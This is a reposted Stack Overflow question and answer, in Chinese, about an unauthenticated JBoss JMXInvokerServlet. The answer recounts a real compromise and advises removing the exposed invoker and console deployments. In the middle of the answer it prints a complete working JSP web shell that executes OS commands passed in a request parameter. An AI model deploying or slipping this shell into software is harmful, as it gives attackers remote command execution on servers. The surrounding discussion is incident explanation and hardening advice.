gpt4 book ai didi

java - Apache Tomcat/JBoss EJBInvokerServlet/JMXInvokerServlet (RMI over HTTP) 编码对象远程代码执行

转载 作者:行者123 更新时间:2023-11-28 23:40:05 24 4
gpt4 key购买 nike

在我们的测试期间,我们执行了漏洞扫描并确定了一个不需要对 JMXInvokerSerlet 进行身份验证的 Jboss 服务器。我没有得到确切的问题。是 Jboss 问题还是 servlet?

如果有人可以帮助我,请告诉我解决方案。

有什么问题,有什么解决办法吗?提前谢谢你

最佳答案

我最近在我的 VPS 上遇到了这个问题。

我有一个 JBoss 安装(版本 4.2.3),它具有任何人都可以访问的 Web 控制台和调用程序。发生的事情是有人利用了这个 JBoss Vulnerability并使用现有的 exploit在我的 Jboss 安装中插入一个 JSP web shell。

JSP Web Shell 基本上是这样的:

    <%@ page import="java.util.*,java.io.*"%>
<%
String cmd;
String[] cmdarr;
String OS = System.getProperty("os.name");
if (request.getParameter("cmd") != null) {
cmd = new String (request.getParameter("cmd"));
if (OS.startsWith("Windows")) {
cmdarr = new String [] {"cmd", "/C", cmd};
}
else {
cmdarr = new String [] {"/bin/sh", "-c", cmd};
}
Process p = Runtime.getRuntime().exec(cmdarr);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>

这允许攻击者基本上直接从浏览器执行操作系统命令。在我的例子中,我的 VPS 被用来挖掘比特币,在 wget 获取一个看起来像另一种类型的控制台的 Perl 脚本之后。

教训是惨痛的:(所以如果你还没有做任何事情,请做。

我只是删除了 HttpInvoker 和 WebConsole/JMX-Console 的部署,因为我不需要它们。您还可以查看 how to secure the WebConsole , this link also provides a better explanation比我做的。

希望对您有所帮助!

关于java - Apache Tomcat/JBoss EJBInvokerServlet/JMXInvokerServlet (RMI over HTTP) 编码对象远程代码执行,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/20560233/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com